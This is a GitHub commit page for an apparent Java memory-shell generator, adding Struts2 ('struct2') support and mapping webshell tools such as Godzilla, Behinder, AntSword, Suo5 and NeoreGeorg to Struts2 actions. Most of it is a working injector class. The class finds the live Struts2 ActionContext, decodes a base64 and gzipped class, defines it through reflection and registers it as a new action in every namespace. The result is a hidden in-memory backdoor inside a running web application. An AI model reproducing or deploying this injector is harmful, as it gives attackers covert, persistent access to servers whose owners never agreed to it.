Skip to content

Commit a554ccb

Browse files
committed
feat: support struct2 memshell and probeshell
1 parent 6628a74 commit a554ccb

File tree

32 files changed

+2270
-6
lines changed

32 files changed

+2270
-6
lines changed

.github/workflows/memshell-integration-test.yml

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -48,6 +48,8 @@ jobs:
4848
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
4949
- middleware: "xxljob"
5050
depend_tasks: ""
51+
- middleware: "struct2"
52+
depend_tasks: ":vul:vul-struct2:war"
5153
runs-on: ubuntu-latest
5254
name: ${{ matrix.cases.middleware }}
5355
steps:

.github/workflows/probe-integration-test.yml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -42,8 +42,8 @@ jobs:
4242
depend_tasks: ":vul:vul-webapp:war"
4343
- middleware: "springwebmvc"
4444
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
45-
- middleware: "springwebflux"
46-
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
45+
- middleware: "struct2"
46+
depend_tasks: ":vul:vul-struct2:war"
4747
runs-on: ubuntu-latest
4848
name: ${{ matrix.cases.middleware }}
4949
steps:

build.gradle.kts

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ idea {
99
}
1010
}
1111

12-
version = "2.3.0"
12+
version = "2.4.0-SNAPSHOT"
1313

1414
tasks.register("publishAllToMavenCentral") {
1515
dependsOn(":memshell-party-common:publishToMavenCentral")

generator/src/main/java/com/reajason/javaweb/Server.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -20,4 +20,5 @@ public class Server {
2020
public static final String SpringWebMvc = "SpringWebMvc";
2121
public static final String SpringWebFlux = "SpringWebFlux";
2222
public static final String XXLJOB = "XXLJOB";
23+
public static final String Struct2 = "Struct2";
2324
}

generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -44,6 +44,7 @@ public class ServerFactory {
4444
register(Server.SpringWebMvc, SpringWebMvc::new);
4545
register(Server.SpringWebFlux, SpringWebFlux::new);
4646
register(Server.XXLJOB, XxlJob::new);
47+
register(Server.Struct2, Struct2::new);
4748

4849
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
4950
.addShellClass(SERVLET, GodzillaServlet.class)
@@ -76,6 +77,7 @@ public class ServerFactory {
7677
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
7778
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
7879
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
80+
.addShellClass(ACTION, GodzillaStruct2Action.class)
7981
.build());
8082

8183
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
@@ -100,6 +102,7 @@ public class ServerFactory {
100102
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
101103
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
102104
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
105+
.addShellClass(ACTION, BehinderStruct2Action.class)
103106
.build());
104107

105108
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
@@ -117,6 +120,7 @@ public class ServerFactory {
117120
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
118121
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
119122
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
123+
.addShellClass(ACTION, AntSwordStruct2Action.class)
120124
.build());
121125

122126
addToolMapping(ShellTool.Command, ToolMapping.builder()
@@ -151,6 +155,7 @@ public class ServerFactory {
151155
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
152156
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
153157
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
158+
.addShellClass(ACTION, CommandStruct2Action.class)
154159
.build());
155160

156161
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -176,6 +181,7 @@ public class ServerFactory {
176181
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
177182
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
178183
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
184+
.addShellClass(ACTION, Suo5Struct2Action.class)
179185
.build());
180186

181187
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
@@ -200,6 +206,7 @@ public class ServerFactory {
200206
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
201207
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
202208
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
209+
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
203210
.build());
204211
}
205212

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -46,4 +46,6 @@ public class ShellType {
4646
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
4747
public static final String WEBSOCKET = "WebSocket";
4848
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
49+
50+
public static final String ACTION = "Action";
4951
}
Lines changed: 230 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,230 @@
1+
package com.reajason.javaweb.memshell.injector.struct2;
2+
3+
import java.io.ByteArrayInputStream;
4+
import java.io.ByteArrayOutputStream;
5+
import java.io.IOException;
6+
import java.io.PrintStream;
7+
import java.lang.reflect.Constructor;
8+
import java.lang.reflect.Field;
9+
import java.lang.reflect.Method;
10+
import java.util.Map;
11+
import java.util.Set;
12+
import java.util.zip.GZIPInputStream;
13+
14+
/**
15+
* @author ReaJason
16+
* @since 2025/12/8
17+
*/
18+
public class Struct2ActionInjector {
19+
20+
private static String msg = "";
21+
private static boolean ok = false;
22+
23+
public String getUrlPattern() {
24+
return "{{urlPattern}}";
25+
}
26+
27+
public String getClassName() {
28+
return "{{className}}";
29+
}
30+
31+
public String getBase64String() throws IOException {
32+
return "{{base64Str}}";
33+
}
34+
35+
public Struct2ActionInjector() {
36+
if (ok) {
37+
return;
38+
}
39+
Object context = null;
40+
try {
41+
context = getContext();
42+
} catch (Throwable e) {
43+
msg += "context error: " + getErrorMessage(e);
44+
}
45+
if (context == null) {
46+
msg += "context not found";
47+
} else {
48+
try {
49+
Object shell = getShell(context);
50+
inject(context, shell);
51+
} catch (Throwable e) {
52+
msg += "failed " + getErrorMessage(e) + "\n";
53+
}
54+
}
55+
ok = true;
56+
System.out.println(msg);
57+
}
58+
59+
public Object getContext() throws Exception {
60+
Set<Thread> threads = Thread.getAllStackTraces().keySet();
61+
for (Thread thread : threads) {
62+
ClassLoader contextClassLoader = thread.getContextClassLoader();
63+
if (contextClassLoader != null) {
64+
try {
65+
Class<?> clazz = contextClassLoader.loadClass("com.opensymphony.xwork2.ActionContext");
66+
Object context = clazz.getMethod("getContext").invoke(null);
67+
if (context != null) {
68+
return context;
69+
}
70+
} catch (ClassNotFoundException e) {
71+
continue;
72+
}
73+
}
74+
}
75+
return null;
76+
}
77+
78+
private void inject(Object context, Object shell) throws Exception {
79+
Object actionInvocation = invokeMethod(context, "getActionInvocation");
80+
Object actionProxy = getFieldValue(actionInvocation, "proxy");
81+
Object configuration = getFieldValue(actionProxy, "configuration");
82+
Object runtimeConfiguration = getFieldValue(configuration, "runtimeConfiguration");
83+
Map<String, Map<String, Object>> namespaceActionConfigs = (Map<String, Map<String, Object>>) getFieldValue(runtimeConfiguration, "namespaceActionConfigs");
84+
for (Map.Entry<String, Map<String, Object>> entry : namespaceActionConfigs.entrySet()) {
85+
String namespace = entry.getKey();
86+
Map<String, Object> configs = entry.getValue();
87+
if (!configs.isEmpty()) {
88+
Object firstActionConfig = configs.entrySet().iterator().next().getValue();
89+
String actionName = getUrlPattern().substring(1);
90+
if (configs.containsKey(actionName)) {
91+
continue;
92+
}
93+
String packageName = (String) getFieldValue(firstActionConfig, "packageName");
94+
Class<?> actionConfigClass = context.getClass().getClassLoader().loadClass("com.opensymphony.xwork2.config.entities.ActionConfig");
95+
Constructor<?> actionConfigConstructor = actionConfigClass.getDeclaredConstructor(String.class, String.class, String.class);
96+
actionConfigConstructor.setAccessible(true);
97+
Object actionConfig = actionConfigConstructor.newInstance(namespace, packageName, getClassName());
98+
configs.put(actionName, actionConfig);
99+
msg += "namespace: [" + (namespace.isEmpty() ? "default" : namespace) + "] [" + getUrlPattern() + "] ready\n";
100+
}
101+
}
102+
}
103+
104+
private Object getShell(Object context) throws Exception {
105+
ClassLoader classLoader = context.getClass().getClassLoader();
106+
Object interceptor = null;
107+
try {
108+
interceptor = classLoader.loadClass(getClassName()).newInstance();
109+
} catch (Exception e) {
110+
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
111+
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
112+
defineClass.setAccessible(true);
113+
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
114+
interceptor = clazz.newInstance();
115+
}
116+
return interceptor;
117+
}
118+
119+
@Override
120+
public String toString() {
121+
return msg;
122+
}
123+
124+
@SuppressWarnings("all")
125+
public static Object invokeMethod(Object obj, String methodName) throws
126+
Exception {
127+
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
128+
}
129+
130+
@SuppressWarnings("all")
131+
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
132+
Exception {
133+
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
134+
Method method = null;
135+
while (clazz != null && method == null) {
136+
try {
137+
if (paramClazz == null) {
138+
method = clazz.getDeclaredMethod(methodName);
139+
} else {
140+
method = clazz.getDeclaredMethod(methodName, paramClazz);
141+
}
142+
} catch (NoSuchMethodException e) {
143+
clazz = clazz.getSuperclass();
144+
}
145+
}
146+
if (method == null) {
147+
throw new NoSuchMethodException("Method not found: " + methodName);
148+
}
149+
method.setAccessible(true);
150+
return method.invoke(obj instanceof Class ? null : obj, param);
151+
}
152+
153+
@SuppressWarnings("all")
154+
public static byte[] decodeBase64(String base64Str) throws Exception {
155+
Class<?> decoderClass;
156+
try {
157+
decoderClass = Class.forName("java.util.Base64");
158+
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
159+
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
160+
} catch (Exception ignored) {
161+
decoderClass = Class.forName("sun.misc.BASE64Decoder");
162+
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
163+
}
164+
}
165+
166+
@SuppressWarnings("all")
167+
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
168+
ByteArrayOutputStream out = new ByteArrayOutputStream();
169+
GZIPInputStream gzipInputStream = null;
170+
171+
try {
172+
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
173+
byte[] buffer = new byte[4096];
174+
int n;
175+
while ((n = gzipInputStream.read(buffer)) > 0) {
176+
out.write(buffer, 0, n);
177+
}
178+
} finally {
179+
if (gzipInputStream != null) {
180+
try {
181+
gzipInputStream.close();
182+
} catch (IOException ignored) {
183+
}
184+
}
185+
out.close();
186+
}
187+
return out.toByteArray();
188+
}
189+
190+
@SuppressWarnings("all")
191+
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
192+
for (Class<?> clazz = obj.getClass();
193+
clazz != Object.class;
194+
clazz = clazz.getSuperclass()) {
195+
try {
196+
return clazz.getDeclaredField(name);
197+
} catch (NoSuchFieldException ignored) {
198+
199+
}
200+
}
201+
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
202+
}
203+
204+
205+
@SuppressWarnings("all")
206+
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
207+
try {
208+
Field field = getField(obj, name);
209+
field.setAccessible(true);
210+
return field.get(obj);
211+
} catch (NoSuchFieldException ignored) {
212+
}
213+
return null;
214+
}
215+
216+
@SuppressWarnings("all")
217+
private String getErrorMessage(Throwable throwable) {
218+
PrintStream printStream = null;
219+
try {
220+
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
221+
printStream = new PrintStream(outputStream);
222+
throwable.printStackTrace(printStream);
223+
return outputStream.toString();
224+
} finally {
225+
if (printStream != null) {
226+
printStream.close();
227+
}
228+
}
229+
}
230+
}
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
package com.reajason.javaweb.memshell.server;
2+
3+
import com.reajason.javaweb.memshell.ShellType;
4+
import com.reajason.javaweb.memshell.injector.struct2.Struct2ActionInjector;
5+
6+
/**
7+
* @author ReaJason
8+
* @since 2025/12/8
9+
*/
10+
public class Struct2 extends AbstractServer {
11+
12+
@Override
13+
public InjectorMapping getShellInjectorMapping() {
14+
return InjectorMapping.builder()
15+
.addInjector(ShellType.ACTION, Struct2ActionInjector.class)
16+
.build();
17+
}
18+
}

0 commit comments

Comments
 (0)